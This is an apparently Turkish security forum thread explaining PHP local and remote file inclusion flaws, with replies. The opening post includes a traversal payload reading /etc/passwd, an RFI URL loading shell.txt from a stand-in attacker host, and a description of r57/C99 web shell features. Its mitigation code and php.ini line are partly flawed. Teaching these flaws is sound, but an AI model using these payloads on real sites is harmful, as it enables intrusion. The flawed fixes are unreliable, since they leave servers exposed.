1. Duyuruyu Kapat

PHP'de RFI ve LFI Açıklıkları nedir? ne değildir?

'Web Güvenlik Açıkları' forumunda Hattab tarafından 11 Mayıs 2016 tarihinde açılan konu

  1. Hattab

    Hattab New Member

    Katılım:
    22 Ekim 2015
    Mesaj:
    550
    Beğeniler:
    4
    Ödül Puanları:
    0
    Merhaba bu makalemizde dilim döndüğünce sizlere PHP web programlama dilinde meydana gelen RFI ve LFI açıklıklarından bahsedicem. Php kod yazar bu açıklar nasıl meydana geliyor? etkileri nedir ve nelerle sonuçlanır bunları inceleyeceğiz.

    File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel(local) ve uzaktan(remote) kod çalıştırmasına olanak sağlar.
    LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.
    RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.
    PHP web programlama dili ile kodlanmış uygulamalarda, yazılımcıların tanımladıkları değişkene değer atamaması veya atanan değerlerin filtrelenmemesinden kaynaklanmaktadır. Aşağıdaki örnek kod satırları ile detayları uygulamalı olarak inceleyelim;

    LFI (Local File Inclusion) Örneği

    Kod:
    index.php dosyası:
    <?php
    include($_GET['sayfa'])
    ?>
    Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:
    index.php?sayfa=haberler.php
    index.php?sayfa=iletisim.php
    En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:
    • index.php?sayfa=../../../../../../../../../etc/passwd
    Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    …..
    RFI (Remote File Inclusion) Örneği

    index2.php dosyası:
    Kod:
    include(“$duyurular/guncel/duyuru.php”);
    Bu satırdaki “$” işareti bulunan paramtreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.

    http://www.hedef.com/index2.php?duyurular=http://saldirgan.com/shell.txt?

    Yukarıdaki şekilde,
    http://saldirgan.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
    Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır…


    Mesela R57 Shell’inin özelliklerine bir değinelim…
    R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
    Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemelr yapılabilir.
    Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.


    – KORUNMA –

    Yöntem 1

    Yazılan kodların RFI açıklarına karşı kontrol edilmesi.

    Zayıf Kod:

    Kod:
    <?php
    include ($ornek. ‘../index.php’);
    ?>

    Güvenli Kod:

    Kod:
    <?php
    $ornek= ‘veri’;
    include ($ornek. ‘../index.php’);
    ?>
    örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamaızı sağlayacaktır.

    Yöntem 2
    php.ini
    /etc/php.ini
    dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:

    Kod:
    disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice
    Umarım faydalı olmuştur, güvenli kod yazmalar herkese… :)

    İsmail Saygılı




     
  2. MD

    MD New Member

    Katılım:
    18 Temmuz 2016
    Mesaj:
    35
    Beğeniler:
    0
    Ödül Puanları:
    0
    Merhaba, bu kadar faydalı bir konu ve forum neden üyesi azdır anlamış değilim..
    Teşekkürlerimi sunarım, php.ini Dosyasından kastınızı anlayamadım, WHM üzerindeki mi Yoksa public_html olarak Dizindeki midir biraz açarmısınız ?

    Bu arada Ubuntu Kali Linux'ta VNC server kurulumunu çok detaylı bir şekildfe bana özel mesaj yazabilirseniz son derece mutlu olacağım.
    Sizin gibi bilge bir ustamızın olmasından şeref duyarım.

    Saygılarımla..
     
  3. Al-Farabi

    Al-Farabi Albay

    Katılım:
    16 Ocak 2016
    Mesaj:
    1,247
    Beğeniler:
    27
    Ödül Puanları:
    48
    Eline Sağlık .
     
  4. NycX

    NycX Member

    Katılım:
    1 Haziran 2016
    Mesaj:
    52
    Beğeniler:
    0
    Ödül Puanları:
    6
    Gunumuzde hala yazılımcılarımız bu açıkları bırakmaktadır. Türk sitelerini hala bu konularda mail atarak uyarmaktayız. Okullarımızda hala sadece birşeyleri yapmak üzerine dersler verilmekte eğer sen insanları gerçekten meslek sahibi yapmak istiyorsan onu nasıl koruyacağını onaracağınıda öğretmen gerekiyor(Bunu genel anlamda söyledim). Okullarımızda bilgisayar için söylüyorum birde yanına sistem zaafiyetleri diye bi ders konulması gerektiğini düşünüyorum. Meb bu konuda bilgili olmayabilir yani bunun ayrı bir konu olarak düşünebilir. Burdan tüm öğretmenlerimize sesleniyorum öğrencilerinize sadece yapmayı ögretmeyin proje yaptırın görev paylaşımı yaptırın grupça nasıl çalışılır ögretin onu nasıl koruyacağını gösterin. Ortaya bi ürün koysunlar bunu ben ve ekibim yaptı diyebilsin. Onları sadece öğrenci olarak görmeyin geleceğin meslektaşları profesyonelleri olarak görün ki vatanına milletine gerçekten faydalı insanlar olabilsinler.
     
  5. MrX

    MrX Member

    Katılım:
    22 Mart 2016
    Mesaj:
    789
    Beğeniler:
    5
    Ödül Puanları:
    18
    Şehir:
    Belirtilmemiş
    Teşekkürler :)
     
  6. Hattab

    Hattab New Member

    Katılım:
    22 Ekim 2015
    Mesaj:
    550
    Beğeniler:
    4
    Ödül Puanları:
    0
    VNC Server için Özelden gönderdim ama tekrar buradan konu linkini göndereyim;
    http://kali-linuxtr.net/threads/ubuntu-uezerine-vnc-server-kurulumu.3346/

    php.ini dosyası için ise WHM panelden php configuration dan düzeltebilrisin. Veya

    nano /etc/php.ini diyerek. (panelsiz sunucuda)
    nano /usr/local/lib/php.ini (cpanel olan sunucuda)

    Eğer nano yoksa önce yum -y install nano komutu ile kur.

    Ek Olarak: php -i | grep "Loaded Configuration File" buda her türlü sunucuda php.ini dosyasını bulma.
     

Bu Sayfayı Paylaş

Share